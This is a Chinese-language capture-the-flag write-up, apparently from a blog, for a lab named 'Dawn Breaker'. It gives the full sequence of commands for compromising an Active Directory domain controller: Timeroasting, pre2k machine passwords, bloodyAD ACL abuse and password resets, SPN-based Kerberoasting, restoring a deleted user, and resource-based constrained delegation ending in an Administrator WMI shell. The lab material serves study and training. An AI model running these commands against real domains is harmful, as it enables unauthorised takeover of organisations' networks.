![[無境原創(chuàng)] Dawn Breaker](http://pic.xiahunao.cn/yaotu/[無境原創(chuàng)] Dawn Breaker)
目標(biāo)地址本機(jī)地址192.168.111.10192.168.111.25先說做這個(gè)靶場(chǎng)踩的坑1.注意時(shí)間同步問題如果Kali和域控的時(shí)間相差太大可能會(huì)造成Kerberos認(rèn)證失敗影響后續(xù)命令執(zhí)行sudo ntpdate -u 192.168.111.10 #如果認(rèn)證還是失敗可以先關(guān)閉kali自動(dòng)校正時(shí)間機(jī)制2.域名解析問題如果報(bào)錯(cuò)無法解析域名名稱記得在/etc/hosts加入域控映射掃描掃描結(jié)果鎖定ip為192.168.111.10是域sec.lab的域控nmapnmap -sV -Pn 192.168.111.10fscanfscan -h 192.168.111.10SMB匿名訪問嘗試空用戶名、單個(gè)空格密碼的連接最終被映射成了Guest身份并且能夠枚舉部分共享nxc smb 192.168.111.10 -u -p --shares訪問可讀welcome文件夾讀取letter.txt文件疑似獲得一組賬號(hào)密碼smbclient //192.168.111.10/Welcome -U %驗(yàn)證憑據(jù)能夠有效訪問共享權(quán)限比guest大nxc smb 192.168.111.10 -u Yangyang -p Hello --sharesbloodhound血獵犬上線進(jìn)行信息收集bloodhound-python -c All -u Yangyang -p Hello -ns 192.168.111.10 -d sec.lab -dc ad.sec.lab --zip --dns-tcpSOLARISSEC.LAB探尋線路決定嘗試獲取SOLARISSEC.LAB權(quán)限并通過rover用戶進(jìn)行下一步操作timeroastTimeroast是一種針對(duì)Active DirectoryAD域環(huán)境中計(jì)算機(jī)賬號(hào)的離線密碼破解技術(shù)。它利用Windows域中的時(shí)間服務(wù)相關(guān)協(xié)議獲取與計(jì)算機(jī)賬號(hào)密碼驗(yàn)證有關(guān)的響應(yīng)再嘗試離線猜測(cè)計(jì)算機(jī)賬號(hào)的密碼。nxc smb 192.168.111.10 -u Yangyang -p Hello -M timeroasthashcat獲取2116的hash值爆破密碼為solaris與賬號(hào)名相同pre2kPre2kPre-Windows 2000 Compatibility在AD域滲透中通常指與Windows 2000以前的兼容機(jī)制有關(guān)的計(jì)算機(jī)賬號(hào)弱密碼風(fēng)險(xiǎn)也經(jīng)常指用于檢測(cè)、利用這類風(fēng)險(xiǎn)的工具或攻擊方法nxc ldap 192.168.111.10 -u Yangyang -p Hello -M pre2k因?yàn)榘l(fā)現(xiàn)SOLARIS$是預(yù)創(chuàng)建用戶其密碼可能是計(jì)算機(jī)名轉(zhuǎn)成小寫、去掉末尾$驗(yàn)證成功nxc ldap 192.168.111.10 -u SOLARIS$ -p solaris -k #參數(shù)k強(qiáng)制登錄獲取Rover用戶的控制權(quán)修改Rover用戶的密碼bloodyAD -u SOLARIS$ -p solaris -k --host AD.sec.lab -d sec.lab set password rover 123456驗(yàn)證賬戶沒成功發(fā)現(xiàn)賬戶沒有啟動(dòng)啟動(dòng)賬戶后驗(yàn)證新密碼成功nxc smb 192.168.111.10 -u Rover -p 123456bloodyAD -u SOLARIS$ -p solaris -k --host AD.sec.lab -d sec.lab remove uac Rover -f ACCOUNTDISABLE添加Rover用戶到JINZHOU組發(fā)現(xiàn)Rover用戶是可以將自身加入JinzhouSEC.LAB的bloodyAD -u Rover -p 123456 --host 192.168.111.10 -d sec.lab add groupMember Jinzhou Rover將rover加入jinzhou組后查看rover權(quán)限發(fā)現(xiàn)rover對(duì)組內(nèi)用戶擁有writespn的權(quán)限bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 get writable --detailADDSPN向某個(gè)AD賬號(hào)的servicePrincipalName(SPN)屬性中寫入服務(wù)主體名稱可以使該賬號(hào)關(guān)聯(lián)相應(yīng)的服務(wù)標(biāo)識(shí)。因?yàn)镵erberoasting針對(duì)的是具有有效SPN的服務(wù)賬號(hào)攻擊者向KDC請(qǐng)求對(duì)應(yīng)的TGS服務(wù)票據(jù)而票據(jù)中的加密部分使用該服務(wù)賬號(hào)的長(zhǎng)期密鑰進(jìn)行保護(hù)。攻擊者獲取票據(jù)后可以嘗試使用hashcat進(jìn)行離線密碼爆破從而獲得明文密碼發(fā)現(xiàn)jinxi對(duì)blackshores組有寫入成員的權(quán)限所以對(duì)jinxi進(jìn)行addspn操作bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 set object Jinxi servicePrincipalName -v http/webnxc ldap 192.168.111.10 -u Rover -p 123456 --kerberoasting KERBEROASTINGhashcathashcat KERBEROASTING /usr/share/wordlists/rockyou.txt添加Rover用戶到BLACK SHORES組通過上面的發(fā)現(xiàn)通過jinxi將rover寫入blackshores組bloodyAD -u Jinxi -p Jinxin --host ad -d sec.lab add groupMember Black Shores Rover獲取THESHOREKEEPER用戶的控制權(quán)查詢theshorekeeper用戶狀態(tài)發(fā)現(xiàn)它未啟用bloodyAD -u Rover -p 123456 --host 192.168.111.10 -d sec.lab get object TheShorekeeper --attr userAccountControl因?yàn)閎lackshores組對(duì)theshorekeeper有WriteOwner權(quán)限所以先把賬戶所有者改為Rover對(duì)其授予theshorekeeper的完全控制權(quán)限再重置該賬戶密碼最后啟用該賬戶bloodyAD -u Rover -p 123456 --host ad -d sec.lab set owner TheShorekeeper Rover bloodyAD -u Rover -p 123456 --host ad -d sec.lab add genericAll TheShorekeeper Rover bloodyAD -u Rover -p 123456 --host ad -d sec.lab set password TheShorekeeper 123456 bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 remove uac TheShorekeeper -f ACCOUNTDISABLE添加Rover用戶到LAHAYO組theshorekeeper對(duì)lahayo組有添加成員的權(quán)限于是利用上面成功執(zhí)行獲得的rover對(duì)theshorekeeper的控制權(quán)限將rover添加進(jìn)lahayo組bloodyAD -u TheShorekeeper -p 123456 -d sec.lab --host 192.168.111.10 add groupMember Lahayo Rover最后到這里就走不通了但是我們發(fā)現(xiàn)有一個(gè)無法解析名稱的AD安全主體對(duì)域控有基于資源的約束委派(RBCD)配置權(quán)限它是該域中的某個(gè)用戶、組或計(jì)算機(jī)的SID但當(dāng)前查詢環(huán)境沒有把SID映射成名稱可能是因?yàn)閷?duì)象已刪除、權(quán)限不足、SID 歷史記錄或域解析不完整等嘗試查詢查詢AD中已刪除的對(duì)象發(fā)現(xiàn)第二個(gè)已刪除用戶Lynae與上圖未知節(jié)點(diǎn)的SID值對(duì)應(yīng)bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 get search -c 1.2.840.113556.1.4.2064 --filter (isDeletedTRUE) --attr name,objectSid查詢是否有用戶對(duì)Deleted Objects有權(quán)限能夠恢復(fù)已刪除的AD對(duì)象發(fā)現(xiàn)rover對(duì)此有權(quán)限bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 get writable恢復(fù)已刪除用戶恢復(fù)lynae對(duì)象bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 set restore Lynae恢復(fù)后重置其密碼并重新啟用用戶bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 set password Lynae 123456bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 remove uac Lynae -f ACCOUNTDISABLERBCD(基于資源的約束委派)由于重新啟用的用戶lynae對(duì)AD.SEC.LAB有addallowedtoact權(quán)限域控嘗試創(chuàng)建一個(gè)計(jì)算機(jī)賬戶Web$然后配置它對(duì)AD$計(jì)算機(jī)賬戶的資源型約束委派權(quán)限其實(shí)就是是讓AD$信任我們的Web$并且允許Web$代表其他用戶向AD$求特定服務(wù)的Kerberos票據(jù)bloodyAD -u Lynae -p 123456 -d sec.lab --host 192.168.111.10 add computer Web 123456bloodyAD -u Lynae -p 123456 -d sec.lab --host 192.168.111.10 add rbcd AD$ Web$通過Web$借助這個(gè)關(guān)系以Administrator身份請(qǐng)求訪問AD上CIFS服務(wù)的Kerberos票據(jù)然后設(shè)置環(huán)境變量指定后續(xù)Kerberos工具默認(rèn)使用哪個(gè)票據(jù)緩存文件impacket-getST -spn CIFS/AD -impersonate Administrator sec.lab/Web$:123456 -k -dc-ip 192.168.111.10export KRB5CCNAMEAdministratorCIFS_ADSEC.LAB.ccache獲取shell利用Kerberos票據(jù)通過WMI遠(yuǎn)程執(zhí)行命令成功獲取遠(yuǎn)程命令行Shellimpacket-wmiexec -k -no-pass AD -dc-ip 192.168.111.10 -codec gbk